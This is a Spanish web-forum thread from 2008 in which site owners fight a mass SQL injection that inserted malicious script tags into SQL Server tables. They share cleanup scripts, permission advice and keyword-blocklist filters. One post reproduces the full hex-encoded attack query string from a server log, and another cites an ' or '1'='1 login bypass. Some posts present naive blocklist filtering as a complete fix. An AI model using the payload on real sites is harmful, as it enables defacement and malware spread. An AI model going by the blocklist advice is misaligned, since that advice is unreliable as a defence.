Foros del Web » Soporte técnico » Virus, troyanos y spyware »

Ayuda por favor...

Estas en el tema de Ayuda por favor... en el foro de Virus, troyanos y spyware en Foros del Web. Buenos días, necesito un poco de información, aun que no se si lo que me ha ocurrido es por culpa de un virus, spyware o ...

  #1 (permalink)  
Antiguo 29/05/2008, 01:28
 
Fecha de Ingreso: marzo-2007
Mensajes: 89
Antigüedad: 17 años, 1 mes
Puntos: 0
Ayuda por favor...

Buenos días, necesito un poco de información, aun que no se si lo que me ha ocurrido es por culpa de un virus, spyware o por qué.
El caso es que tengo alojada una web en un servidor de arsys. La web accede a una base de datos SQL Server. Pues bien, de un día para otro dejaron de verse las imágenes, algunos enlaces no iban bien, etc. Descubrí, que en muchos campos de casi todas las tablas de la BBDD se había insertado un texto adicional. Este texto es el siguiente: <script src=http://www.adw95.com/b.js></script>
Dado que algunos enlaces y las imágenes las recupero de la BBDD, pues al haber añadido ese texto, no funcionaban, ya que no existía la imagen foto1.jpg<script src...>, etc
Alguien sabe qué puede ser esto? Como se ha podido insertar en la BBDD ese texto?

Por otro lado, al intentar solucionarlo, haciendo UPDATES en la BBDD, de repente no me dejaba modificarlos. Me dice que el registro de transacciones está lleno y que tengo que hacer un backup del registro. Para gestionar la BBDD estoy utilizando el EMS SQL Manager, que es gratuito. Sabe alguien por qué sale este mensaje? De paso aprovecho y pregunto si alguien conoce algun SGBD gratuito estilo MySQLFront o HeidiSQL, pero para SQL Server.

Muchas gracias por la ayuda,
edude.
  #2 (permalink)  
Antiguo 29/05/2008, 02:55
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
Respuesta: Ayuda por favor...

Pues si... como se suele decir date por muy j..... llevo una semana padeciendo este problema en todas las bases de datos de SQL y hasta ahora la unica solucion ha sido crear un codigo en ADO que revisa y elimina ese script de todas las cadenas de texto que tiene la base de datos (en todos los campos).
Si conoces un poco de ADO haz un bucle contra la coleccion databases y dentro otro bucle con la coleccion fields(n) y campo por campo hacer un replace de la cadena esta que infecta por un texto vacio.
Por ahora no conozco otra solucion posible. Espero que te sirva mientras las mentes pensantes van creando un filtro para ese troyano.
Cita:
Iniciado por edude Ver Mensaje
Buenos días, necesito un poco de información, aun que no se si lo que me ha ocurrido es por culpa de un virus, spyware o por qué.
El caso es que tengo alojada una web en un servidor de arsys. La web accede a una base de datos SQL Server. Pues bien, de un día para otro dejaron de verse las imágenes, algunos enlaces no iban bien, etc. Descubrí, que en muchos campos de casi todas las tablas de la BBDD se había insertado un texto adicional. Este texto es el siguiente: <script src=http://www.adw95.com/b.js></script>
Dado que algunos enlaces y las imágenes las recupero de la BBDD, pues al haber añadido ese texto, no funcionaban, ya que no existía la imagen foto1.jpg<script src...>, etc
Alguien sabe qué puede ser esto? Como se ha podido insertar en la BBDD ese texto?

Por otro lado, al intentar solucionarlo, haciendo UPDATES en la BBDD, de repente no me dejaba modificarlos. Me dice que el registro de transacciones está lleno y que tengo que hacer un backup del registro. Para gestionar la BBDD estoy utilizando el EMS SQL Manager, que es gratuito. Sabe alguien por qué sale este mensaje? De paso aprovecho y pregunto si alguien conoce algun SGBD gratuito estilo MySQLFront o HeidiSQL, pero para SQL Server.

Muchas gracias por la ayuda,
edude.
  #3 (permalink)  
Antiguo 29/05/2008, 03:49
 
Fecha de Ingreso: marzo-2007
Mensajes: 89
Antigüedad: 17 años, 1 mes
Puntos: 0
Respuesta: Ayuda por favor...

Buf!! Si que suena mal...
Trataré de hacer ese codigo en ADO, aun que no piloto mucho. Qué debería hacer? Primero un Select de todas las tablas. Por cada tabla un select de todos los campo y luego un Update de todos los campo?
Como le digo que me reemplaze ese texto. Tengo que hacer UPDATES o hay alguna funcion que me reemplace todas las apariciones de una cadena en una tabla?

Si puedes echarme un cable te lo agradeceré.
Muchas gracias por la aydua mastercafe,
edude.
  #4 (permalink)  
Antiguo 29/05/2008, 06:49
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
Respuesta: Ayuda por favor...

Este es el codigo que utilizo yo para limpiar:

Dim b As Integer
Dim a As Integer
Dim contador As Integer
Dim contscr As Integer

'abrir la base de datos actual
Set base = CurrentDb()

'Comenzamos a rastrear tabla por tabla
For a = 0 To base.TableDefs.Count - 1
contador = 0
contscr = 0
If Left(base.TableDefs(a).Name, 4) <> "MSys" And InStr(1, base.TableDefs(a).Name, "TMPCL") = 0 Then
'abrimos para modificar cada campo
Debug.Print base.TableDefs(a).Name
Forms!limpia!tabla = base.TableDefs(a).Name
SendKeys "+{F9}", True
Set rs = base.OpenRecordset(base.TableDefs(a).Name, dbOpenDynaset, dbSeeChanges, dbOptimistic)
If Not rs.BOF Then 'si no esta vacia ...
rs.MoveFirst
Do While Not rs.EOF
For b = 0 To base.TableDefs(a).Fields.Count - 1
If InStr(1, rs.Fields(b), "<script src=http://www.adw95.com/b.js></script>") <> 0 Then
Debug.Print "Encontrado en " & base.TableDefs(a).Name & " - " & rs.Fields(b).Name
rs.Edit
rs.Fields(b) = Replace(rs.Fields(b), "<script src=http://www.adw95.com/b.js></script>", "")
rs.Update
contscr = contscr + 1
Forms!limpia!encontrado = contscr
SendKeys "+{F9}", True
End If
Next b
contador = contador + 1
'Debug.Print contador
Forms!limpia!registro = contador
SendKeys "+{F9}", True
rs.MoveNext
Loop
End If
End If
Next a

La base de datos la he conectado a un MDB sencillo con ODBC de access, metiendo su usuario y clave, como es lógico para conectar con sql.

Actualmente repaso cada 24 horas las bases de datos y va bastante bien, aunque siempre hay que limpiar alguna tabla.
Cita:
Iniciado por edude Ver Mensaje
Buf!! Si que suena mal...
Trataré de hacer ese codigo en ADO, aun que no piloto mucho. Qué debería hacer? Primero un Select de todas las tablas. Por cada tabla un select de todos los campo y luego un Update de todos los campo?
Como le digo que me reemplaze ese texto. Tengo que hacer UPDATES o hay alguna funcion que me reemplace todas las apariciones de una cadena en una tabla?

Si puedes echarme un cable te lo agradeceré.
Muchas gracias por la aydua mastercafe,
edude.
  #5 (permalink)  
Antiguo 29/05/2008, 09:18
 
Fecha de Ingreso: marzo-2007
Mensajes: 89
Antigüedad: 17 años, 1 mes
Puntos: 0
Respuesta: Ayuda por favor...

Gracias Mastercafe, acoplare tu codio para actualizar las tablas.

Muchas gracias,
edude.
  #6 (permalink)  
Antiguo 29/05/2008, 10:26
 
Fecha de Ingreso: marzo-2007
Mensajes: 89
Antigüedad: 17 años, 1 mes
Puntos: 0
Respuesta: Ayuda por favor...

Ya esta. Gracias por la ayuda. Al final me cree un codigo nuevo, aun que he utilizado algunas cosas del tuyo. Esto es lo que hice, por si alguien también quiere aprovecharlo:

Dim i, j, n_ocurrencias
Dim sTabla
Dim sSELECT, sSELECT2

' >>> Conexion con la base de datos
call Conectar()

Set Rst = CreateObject( "ADODB.Recordset" )
Set Rst2 = CreateObject( "ADODB.Recordset" )

sTabla = Request.QueryString( "Tabla" )

sSELECT = "SELECT name FROM sysobjects WHERE type='U'"
Rst.open sSELECT, objCon, 3, 3

Do While( Not Rst.EOF )
If( Rst( "name" ) = sTabla ) Then
sSELECT2 = "SELECT * FROM " & Rst( "name" )
'sSELECT2 = "SELECT * FROM " & a_Tablas( i )
'Response.Write( sSELECT2 & "<BR />" )
Rst2.open sSELECT2, objCon, 3, 3

n_ocurrencias = 0
While( Not Rst2.EOF )
For j = 0 To Rst2.Fields.Count - 1
If( InStr( 1, Rst2.Fields( j ), "<script src=http://www.adw95.com/b.js></script>" ) <> 0 ) Then
n_ocurrencias = n_ocurrencias + 1
Rst2.Fields( j ) = Replace( Rst2.Fields( j ), "<script src=http://www.adw95.com/b.js></script>", "" )
Rst2.Update
End If
Next
Rst2.MoveNext
Loop
' Cerramos RecordSet
Rst2.Close

Response.Write( "<P align='center' class='txt_formulario_error'><STRONG>" & n_ocurrencias & "</STRONG> ocurrencias encontradas, <STRONG>" & n_ocurrencias & "</STRONG> ocurrencias actualizadas</P>" )
End If

Rst.MoveNext
Loop
'Next

' Desconexion
Call Desconectar()


Gracias de nuevo, un saludo,
edude.
  #7 (permalink)  
Antiguo 30/05/2008, 04:03
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
Respuesta: Ayuda por favor...

Otra solucion mucho mejor que esa y que he probado esta noche, apenas tarda 2 segundos en limpiar toda la base de datos.
El tema era muy simple, saber como infecta y hacer lo mismo pero al reves. La infección se basa en inyectar codigo a todas las tablas y todos los campos a base de un procedimiento almacenado (que en el caso actual ellos mismos activan desde la URL).
Los pasos son:
Crea un nuevo procedimiento almacenado y pon esto (cambia usuario por tu nombre de usuario en SQL):
**copia**
ALTER PROCEDURE usuario.limpieza AS
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script src=http://www.adw95.com/b.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
**fin copia**
Guarda el procedimiento y lo ejecutas, 3 segundos y listo base de datos limpia.

Ahora viene lo divertido... como se cuela?? Por lo que he visto Microsoft indica que no es un problema suyo y que somos nosotros los que programamos mal con ASP dejando abiertas las bases de datos. En efecto a mi me ocurria esto en tan solo 2 modulos de toda la web (por despistes), como arreglarlo estas son las normas básicas:
-Abre la base de datos siempre en adOpenForwardOnly , adLockReadOnly (que es por defecto como se abre un recordset)
-Siempre que abres una base de datos cierra y libera memoria, no te olvides de cerrar ninguna
-A ser posible utiliza aperturas y cierres de bases de datos en Procedures que solo el servidor es capaz de usar al crear la web

Suerte

Cita:
Iniciado por edude Ver Mensaje
Ya esta. Gracias por la ayuda. Al final me cree un codigo nuevo, aun que he utilizado algunas cosas del tuyo. Esto es lo que hice, por si alguien también quiere aprovecharlo:


Gracias de nuevo, un saludo,
edude.
  #8 (permalink)  
Antiguo 04/06/2008, 04:18
 
Fecha de Ingreso: marzo-2007
Mensajes: 89
Antigüedad: 17 años, 1 mes
Puntos: 0
Respuesta: Ayuda por favor...

Perfecto, pues pondré en marcha el codigo y revisaré todas las aperturas y cierres de la web.

Muchas gracias por tu ayuda mastercafe,
edude.
  #9 (permalink)  
Antiguo 05/06/2008, 03:16
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
Respuesta: Ayuda por favor...

Otro dato mas que me ha surgido ayer mientras iba terminando de cerrar puertas se ha colado otra injeccion masiva en SQL.
En el codigo de sql puedes utilizar en lugar del script completo de infeccion otro mas generico como %<script%</script> asi tendrias todas las variantes.
He visto un listado de posibles infecciones masivas de sql y hay mas de 40 variantes, asi que es mas simple esta opcion.

Saludos

Cita:
Iniciado por edude Ver Mensaje
Perfecto, pues pondré en marcha el codigo y revisaré todas las aperturas y cierres de la web.

Muchas gracias por tu ayuda mastercafe,
edude.
  #10 (permalink)  
Antiguo 05/06/2008, 13:18
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
De acuerdo Respuesta: Ayuda por favor...

Mas datos sobre la infección y como bloquearla.
Dos cosas importantes, la primera el usuario que tiene la web en la conexión, no debes utilizar sa o dbo_owner ya que ambos suelen tener permisos completos. Asigna una cuenta para la web que solo pueda leer y escribir datos, el resto quitalo de permisos.
Otro tema que he probado y por ahora funciona en los ataques que yo probe. En las paginas asp verifica el querystring que viene y elimina lo que no vale, o bien redirige la pagina, por ejemplo:

tmp=request.QueryString
'response.Write(tmp)
if instr(tmp,";")<>0 or instr(tmp,"declare")<>0 or instr(tmp,"[") then
response.Redirect("infectada.asp")
end if

En este ejemplo busco caracteres que seguro no uso en mis datos como parametros, como estos se pueden asignar muchos mas a modo de filtro en las cadenas de entrada. Este codigo debe estar en la primera linea de ejecución, justo depues de asignar languaje vbscript.

Mas cosas simples que hay que cuidar (aunque casi todos ya lo hacemos), es las cadenas de usuario y contraseña, simplemente haz un replace de caracteres como apostrofe ' por doble apostrofe o mejor aun quitarlo. Imagina que tu haces una verficación en sql para verificar si el usuario y contraseña son correctas al poner como usuario y contraseña ' or '1'='1 se crea una validación dentro del sql que da permisos, por el contrario al eliminar los apostrofes ya no vale para nada.

Espero que te sirvan estos datos, al menos de las 3 paginas que se me infectaban ya 2 no les ocurre y tienen todo lo que acabo de explicarte.

Suerte
  #11 (permalink)  
Antiguo 06/06/2008, 05:09
 
Fecha de Ingreso: marzo-2007
Mensajes: 89
Antigüedad: 17 años, 1 mes
Puntos: 0
Respuesta: Ayuda por favor...

Poco a poco tambien voy quitando la infeccón, aun que hay una que no lo consigo del todo. Cada día tiene una infección nueva. Es lo mismo, solo que cambia el src del script.

Pero bueno, supongo que será seguir poniendo filtros hasta dar con el adecuado y eliminarlo por completo.

Muchas gracias por tus aportaciones, son de gran ayuda.
edude.
  #12 (permalink)  
Antiguo 06/06/2008, 05:22
 
Fecha de Ingreso: marzo-2007
Mensajes: 89
Antigüedad: 17 años, 1 mes
Puntos: 0
Respuesta: Ayuda por favor...

Hola de nuevo,

estoy mirando el tema de los permisos en la base de datos.
Tengo dos usuarios, uno que es dbo y otro que es el usurio que accede desde la web. Pero no puedo ver las propiedades de ninguno. Cuando trato de seleccionarlo me da este mensaje de error: "Permiso SELECT denegado para el objeto syslogins, Base de datos 'master', propietario 'dbo'";
Por qué me sale eso? Debería eliminar al usuario dbo y dejar únicamente al que accede a través de la web?

Gracias otra vez!!!!!!!
  #13 (permalink)  
Antiguo 06/06/2008, 05:28
 
Fecha de Ingreso: marzo-2007
Mensajes: 89
Antigüedad: 17 años, 1 mes
Puntos: 0
Respuesta: Ayuda por favor...

Por cierto, el gestor de base de datos que estoy utilizando es el EMS SQL Manager. Cual estas usando tú? Conoces algún programa que sea de libre distribución?
  #14 (permalink)  
Antiguo 07/06/2008, 07:39
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
Respuesta: Ayuda por favor...

Yo utilizo el propio de microsoft el Enterprise Manager y lo normal, desde el usuario administrador total (el sa) verifico el permiso que tengo puesto dejo solo el de lectura escritura (quito todos los demas asi que no puede acceder a nada que no este dentro de un open sencillo).

Cita:
Iniciado por edude Ver Mensaje
Por cierto, el gestor de base de datos que estoy utilizando es el EMS SQL Manager. Cual estas usando tú? Conoces algún programa que sea de libre distribución?
  #15 (permalink)  
Antiguo 07/06/2008, 07:45
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
Respuesta: Ayuda por favor...

El problema es que el nivel de infeccion en la red es brutal, hay mas de 50 script de inyeccion masiva y todos hacen lo mismo con claves diferentes, el tema es conseguir en tu aplicación ASP por un lado usar un permisos sencillo y por otro lado detectar cadenas de infección, yo he puesto esto en mi aplicación web y por ahora es estable desde hace 7 días (en las que no lo puse con el mismo usuario hubo infección parcial).

Codigo en ASP al entrar:
tmp=request.QueryString 'cadena que entra
if instr(tmp,";")<>0 or instr(tmp,"declare")<>0 or instr(tmp,"[") or instr(tmp,"(")<>0 then 'verificar que hay caracteres de ataque
response.Redirect("infectada.asp") 'enviar a una que no se puede tocar
end if 'fin del filtro si todo es normal seguimos

Espero que te ayude. En mis paginas web yo solo uso un archivo (index.asp) y este se configura con parametros para todo el contenido. El sistema que llamo MBC (modelo de cajas y contenedores) usa 6 tablas de apoyo para crear la pagina y puedes hacer de todo, desde luego mucho mas que cualquier Nuke. Tienes en www.mastercafe.com tanto como es la mia y links a otras que estan con este sistema. Asi solo tengo que preocuparme de un archivo a la hora de hacer mantenimientos.

Cita:
Iniciado por edude Ver Mensaje
Poco a poco tambien voy quitando la infeccón, aun que hay una que no lo consigo del todo. Cada día tiene una infección nueva. Es lo mismo, solo que cambia el src del script.

Pero bueno, supongo que será seguir poniendo filtros hasta dar con el adecuado y eliminarlo por completo.

Muchas gracias por tus aportaciones, son de gran ayuda.
edude.
  #16 (permalink)  
Antiguo 11/06/2008, 08:47
Avatar de maderic_m  
Fecha de Ingreso: agosto-2007
Mensajes: 53
Antigüedad: 16 años, 8 meses
Puntos: 0
Respuesta: Ayuda por favor...

Hola gente, como les va miren hasta el momento y como lo vengo manejando yo esto se produce debido a inyecciones SQL, lo primero y principal además de asignar permisos a las tablas es también hacer una correcta validación de parámetro que se pasan, acá le dejos una pagina por si no la vieron que tiene muchos tips sobre inyecciones SQL, según un log del hosting esto fue lo que insertaron por querystring

ver.asp?id=1;DECLARE%20@S%20VARCHAR(4000);SET%20@S =CAST(0x4445434C4152452040542056415243484152283235 35292C404320564152434841522832353529204445434C4152 45205461626C655F437572736F7220435552534F5220464F52 2053454C45435420612E6E616D652C622E6E616D652046524F 4D207379736F626A6563747320612C737973636F6C756D6E73 206220574845524520612E69643D622E696420414E4420612E 78747970653D27752720414E442028622E78747970653D3939 204F5220622E78747970653D3335204F5220622E7874797065 3D323331204F5220622E78747970653D31363729204F50454E 205461626C655F437572736F72204645544348204E45585420 46524F4D205461626C655F437572736F7220494E544F204054 2C4043205748494C4528404046455443485F5354415455533D 302920424547494E20455845432827555044415445205B272B 40542B275D20534554205B272B40432B275D3D525452494D28 434F4E5645525428564152434841522834303030292C5B272B 40432B275D29292B27273C736372697074207372633D687474 703A2F2F7777772E73736C6E657437322E636F6D2F622E6A73 3E3C2F7363726970743E27272729204645544348204E455854 2046524F4D205461626C655F437572736F7220494E544F2040 542C404320454E4420434C4F5345205461626C655F43757273 6F72204445414C4C4F43415445205461626C655F437572736F 7220%20AS%20VARCHAR(4000));EXEC(@S);--

Si alguien pude o saber como decodificar eso se los voy a agradecer por que la verdad que no se que hizo, si creo un procedimiento o que, bueno gente cualquier info. que descubra la sigo compartiendo aquí, saludos
  #17 (permalink)  
Antiguo 12/06/2008, 06:51
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
De acuerdo Respuesta: Ayuda por favor...

Como has visto el codigo de injección siempre incluye caracteres como ; o declare en la secuencia del querystring

De ahi la solución que proponía en el codigo asp de mi post anterior. Esa es la forma más segura de filtrar y evitar entradas no válidas.
  #18 (permalink)  
Antiguo 12/06/2008, 10:27
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 18 años, 9 meses
Puntos: 6
Respuesta: Ayuda por favor...

Fui atacado dos veces con este sql injection y con la siguiente variante del script

<script src=http://www.advabnr.com/b.js></script>

Última edición por @padawan@; 12/06/2008 a las 12:58
  #19 (permalink)  
Antiguo 12/06/2008, 14:02
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 18 años, 9 meses
Puntos: 6
Respuesta: Ayuda por favor...

alguno sabe como es que ejecutan un store procedure desde otro lugar?? porque no entiendo como pueden ejecutar un store procedure sin estar almacenado en el server.
  #20 (permalink)  
Antiguo 12/06/2008, 14:13
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 18 años, 9 meses
Puntos: 6
Respuesta: Ayuda por favor...

Tambien tengo Iframes en mi sitio, alguno sabe en que magnitud me puede afectar?
  #21 (permalink)  
Antiguo 12/06/2008, 14:17
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 18 años, 9 meses
Puntos: 6
Respuesta: Ayuda por favor...

Miren este link, esta en ingles, pero pareciera que identificaron de donde vienen los ataques.

http://ddanchev.blogspot.com/2008/03...ng-attack.html
  #22 (permalink)  
Antiguo 23/06/2008, 14:28
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 18 años, 9 meses
Puntos: 6
Respuesta: Ayuda por favor...

He sido atacado de vuelta , no se que mas hacer, o no tengo los conocimientos necesarios para evitar este tipo de ataques,
  #23 (permalink)  
Antiguo 24/06/2008, 06:43
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
Respuesta: Ayuda por favor...

Tu problema de ataque se repetirá una y otra vez mientras no cierres el agujero que has dejado en tu web.
No es dificil atacar, hay ejemplos en este hilo de como se ataca y simplemente injectan desde la propia URL poniendo el codigo de SQL en hexadecimal.
Lo que tienes que hacer es revisar en la web lo que entra y eliminar el código de injeccion o redirigir la pagina para que no entren en la web los equipos infectados.
Ten en cuenta que actualmente hay millones de equipos infectados (que no saben que lo tienen) y cualquier que visite tu web y esté infectado te lo injectará sin saberlo, por tanto la solución solo está en tu mano.
Revisa el post que puse un poco más arriba y que explico como filtrar la cadena infectada, verás que es simple y sobre todo limpio para lo que tengas actualmente.
  #24 (permalink)  
Antiguo 24/06/2008, 06:46
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
Respuesta: Ayuda por favor...

Este es el codigo que frena los ataques de injección para paginas ASP con SQL:

tmp=request.QueryString 'cadena que entra
if instr(tmp,";")<>0 or instr(tmp,"declare")<>0 or instr(tmp,"[") or instr(tmp,"(")<>0 then 'verificar que hay caracteres de ataque
response.Redirect("infectada.asp") 'enviar a una que no se puede tocar
end if 'fin del filtro si todo es normal seguimos

Ponlo siempre al principio de las páginas asp que sean accesibles y ya tienes la solución.
  #25 (permalink)  
Antiguo 24/06/2008, 08:16
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 18 años, 9 meses
Puntos: 6
Respuesta: Ayuda por favor...

He puesto filtros en todas las paginas, y los ataques siguen sucediendo, en todas las paginas que reciben variables por get o por post que actuen en la base de datos, le aplico un filtro que al insertar cualquier tipo de sentencia sql o caracteres raros lo redirecciono a otra pagina y no lo dejo hacer nada, pero sigue pasando, no se que mas casos contemplar, pero ahora bien , si es que me pasan los datos por hexadecimal no se como bloquearlo, yo filtro palabras como create, delete, execute, las comillas simles, comentarios, todo tipo de palabras que sean de sintaxis sql pero me sigue pasando, no se que mas puedo hacer.
  #26 (permalink)  
Antiguo 25/06/2008, 02:34
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años
Puntos: 1
Respuesta: Ayuda por favor...

La inyección masiva no entra por get o post, al menos eso lo tengo muy cerrado y es imposible.
Una cadena de inyección ocupa más de 50 caracteres y siempre comienza con un ; que en ocasiones he visto que entra en hexadecimal asi que el codigo que te envio funciona (la prueba es que he tenido ese problema en 4 paginas web de todas las que hemos realizado y son las de SQL solamente y ya no ocurre).
Temas importantes para frenar el problema es gestionar bien la seguridad en perfiles, filtrar las cadenas de entrada y controlar como se abre la base de datos (conexion ADO).
Si usas un superusuario que tiene permiso para hacer de todo ya has abierto una puerta lo suficientemente grande como para no poder hacer nada, porque entran por cualquier sitio. Si las aperturas de archivos son de lectura escritura cuando realmente no necesitas más que leer, tambien abres puertas. Si no filtras las cadenas que entran y recompones contenidos tambien dejas otro agujero.
Todo el mes de mayo me ha tocado revisar codigo de la aplicacion que tenemos que desarrolla paginas web portales y habia muchos agujeros de seguridad. En eso desgraciadamente hay que dar la razon a mocosoft... el problema lo generamos nosotros dejando agujeros.
Yo te diria que primero revises que usuario y permisos has puesto para la web, verifica que solo lee y escribe registros, que no pueda administrar la base de datos. Ya con eso cierras casi un 99% todo. Lo segundo verifica como abres, normalmente basta con dejar los parametros por defecto (es son solo lectura), con esto cierras un poco más. Lo tercero verifica las cadenas que entran en el QueryString y elimina todo lo que no esperas de información (que es mejor que filtrar cadenas buscando). Por ultimo limita los campos de formularios y verifica los contenidos creando clases que encripten contenido, lo que impide que se puedan usar. Es imposible que con esto no resuelvas el problema, asi que si persiste es que algo te has dejado sin hacer. Yo tarde casi 15 días en depurar y cerrar todo, y el sistema que tengo de generar web se basa en un solo archivo .asp que construye la pagina (eso me simplifica mucho que tengo que controlar, menos archivos = menos puertas).

Suerte y ya nos contaras como vas
  #27 (permalink)  
Antiguo 25/06/2008, 07:13
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 18 años, 9 meses
Puntos: 6
Respuesta: Ayuda por favor...

Muchisimas gracias , voy a serguir tus consejos, y si es verdad yo tengo un usuario con grandes permisos, lo que sucede es que si intento limitar permisos tengo problemas para leer algunas tablas porque no se porque razon algunas son tablas de la siguien te forma Dbo.Tabla1 y algunas UsuarioSQlMio.Tabla2 entonce al cambiar los permisos del ususario sql que estoy usando no me deja leer las tablas con owner dbo, que deber hacer en este caso cabiar le owner a todas las tablas y poerle el usuario mio?

Con respecto al IIS tendre que setear algo tambie? proximaente postare el codigo que tengo para filtrar las cadenas.
  #28 (permalink)  
Antiguo 30/06/2008, 11:42
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 18 años, 9 meses
Puntos: 6
Respuesta: Ayuda por favor...

Me han vuelto a atacar, la verdad es que ya estoy resignado a tener que estar atento a que me ataquen de vuelta he intentado todo lo que estaba a mi alcance, y no logro dar con la solucion me siguen bombeando inyecciones sql,.

Esta vez se me metieron con el siguiente direccion:
http:// www. adwsupp. com/b . js


Este es el codigo de las funciones que estoy usando para filtrar cualquier tipo de ataque mediante sql injection, pero parece ser que no funciona.




Código PHP:

Function SqlFiltro(s)
            If ((
Not IsNull(s)) And (<> "")) Then
                        tmp 
Replace(Trim(s), "'""''")
                        
tmp Replace(tmp"""""&quot;")
                        
SqlFiltro CompararEntrada(tmp)
            
End If
End Function

function 
CompararEntrada(str)
            
dim tmp
            tmp 
str
            tmp 
FiltroEntrada(tmp"/script")
            
tmp FiltroEntrada(tmp"insert into")
            
tmp FiltroEntrada(tmp"delete from")
            
tmp FiltroEntrada(tmp"drop table")
            
tmp FiltroEntrada(tmp"exec(")
            
tmp FiltroEntrada(tmp"declare")
            
tmp FiltroEntrada(tmp"cast(")
            
tmp FiltroEntrada(tmp"varchar")
            
tmp FiltroEntrada(tmp"sp_")
            
tmp FiltroEntrada(tmp"xp_")
            
tmp FiltroEntrada(tmp"@@")
            
tmp FiltroEntrada(tmp"onmouseover")
            
tmp FiltroEntrada(tmp"--")
            
tmp FiltroEntrada(tmp"flyzhu.9966.org")
            
tmp FiltroEntrada(tmp"9966.org")
            
tmp FiltroEntrada(tmp"<script")
            
tmp FiltroEntrada(tmp"<script src=http://flyzhu.9966.org/us/Help.asp></script>")
            
tmp FiltroEntrada(tmp"www.tag58.com")
            
tmp FiltroEntrada(tmp"tag58.com")
            
tmp FiltroEntrada(tmp"<script src=http://www.tag58.com/b.js></script>")
            
tmp FiltroEntrada(tmp"update <tablas que uno tenga>")

            
tmp FiltroEntrada(tmp"b.js")
            
            
            
            
CompararEntrada tmp
end 
function


function 
FiltroEntrada(strfilterStr)
            if 
instr(lcase(str), filterStr) <> 0 then
                        logHakeo
(str)
                        
Response.Redirect("http://www.sitio.com/CodigoMalicioso.asp"
            else
                        
FiltroEntrada str
            end 
if
end function


sub logHakeo(s)
            
set fso server.createobject("scripting.filesystemobject")
            
set wf fso.opentextfile(server.mappath("logHack.txt"), 8true)
            
wf.writeline(Now)
            
wf.writeline("----------------------------")
            for 
each x in Request.ServerVariables
                        wf
.writeline(": " Request.ServerVariables(x))
            
next
            wf
.writeline("----------------------------")
            
wf.writeline(")" vbcrlf vbcrlf)
            
wf.writeline("============================")
            
wf.close
            set wf 
nothing
            set fso 
nothing
end sub 

Mediante la funcion SqlFltro puedo filtrar cualquier cosa que se quiera meter:

Var = SqlFiltro(Request.FOrm(txtVar1))

Pero parece ser que no es suficiente y no encuentro solucion, la verdad no se que es.

Creo que los permisos en la base de datos estan correctos, no se que mas hacer.
  #29 (permalink)  
Antiguo 01/07/2008, 05:27
 
Fecha de Ingreso: noviembre-2003
Mensajes: 35
Antigüedad: 20 años, 5 meses
Puntos: 0
Respuesta: Ayuda por favor...

Buenas,

Yo también estoy en la misma situación que vosotros, optimizando filtros y borrando código inyectado en tablas.
Es una mierda porque a pesar de dedicar mucho tiempo a limpiar tablas nunca estás del todo seguro de que no se te haya escapado algo.
En fin...

No sé si alguien lo ha comentado por ahí pero esta mañana pasando el antivirus en el servidor he encontrado y eliminado el JS BUREY.M
El antivirus que lo ha encontrado es el trend.
No lo digo con intención de hacer publicidad sino de compartir la mayor información posible para poder frente entre todos a este ataque.
Según tengo entendido el kaspersky y el avira también son capaces de detectarlo.

Por favor, cualquier otro avance que hagáis con este tema publicadlo.
A ver si entre todos conseguimos encontrar una solución definitiva.

¡Salud!
  #30 (permalink)  
Antiguo 01/07/2008, 07:02
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 18 años, 9 meses
Puntos: 6
Respuesta: Ayuda por favor...

Yo tengo el nod32 y no tengo virus en el servidor, al menos eso creo, porque todavia no se como se produce la inyeccion sql si es que es un virus residente en mi servidor o me bombean desde afuera.

Voy a probar con el trend, es gratuito el trend o tiene licencia?

Cita:
Iniciado por benito_camelas Ver Mensaje
Buenas,

